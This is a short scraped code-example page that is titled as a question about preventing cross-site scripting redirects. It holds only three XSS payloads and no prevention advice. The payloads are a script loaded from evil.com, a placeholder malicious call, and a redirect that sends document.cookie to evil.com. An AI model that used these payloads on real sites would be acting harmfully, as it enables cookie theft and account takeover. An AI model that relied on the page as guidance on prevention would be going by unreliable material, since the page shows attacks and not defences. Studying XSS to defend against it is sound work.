how to prevent cross site scripting to redirect you to another web page code example
Example 1: how to prevent cross site scripting to redirect you to another web page
<script src=http://evil.com/xss.js></script>
<script> alert("XSS"); </script>
Example 2: how to prevent cross site scripting to redirect you to another web page
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
Example 3: how to prevent cross site scripting to redirect you to another web page
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>